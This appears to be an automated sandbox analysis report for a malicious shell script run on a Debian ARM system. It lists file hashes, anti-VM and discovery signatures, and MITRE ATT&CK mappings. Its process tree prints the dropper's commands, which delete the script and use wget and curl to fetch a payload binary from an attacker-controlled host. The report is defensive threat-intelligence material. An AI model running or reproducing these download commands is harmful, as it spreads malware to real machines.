67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/01/2025, 20:19

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General

Target

8IR4B_bins.sh
Size

10KB
MD5

942d94d9683731e7c0e80fb1184455c6
SHA1

bcb4bc2b172dd258e1864c02f6e19b3a35b0d610
SHA256

67e889a87756f6c3c9efbbe222582538a388eb437b8b98840566a49576b776d8
SHA512

58c5eb1e3024d4d713047c5b02ace9a829c3161d260ca04e126f21e93e40fb990dbc3fd0b4235210b994411f852fac2dffe07daac1ab029f7b62f8c087fec9d0
SSDEEP

96:Y/T/v/UJJFSqhLzP4LRJLfh1hVhWxt3UDfUjgjcjf8cpaSzTv1koCLHbIi6loooE:nY1b7Wxt3uTJlEn3ncb7WxtiJlEn3Z

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
649	wget
661	curl

/tmp/8IR4B_bins.sh
/tmp/8IR4B_bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - System Network Configuration Discovery
  PID:649
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:661

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads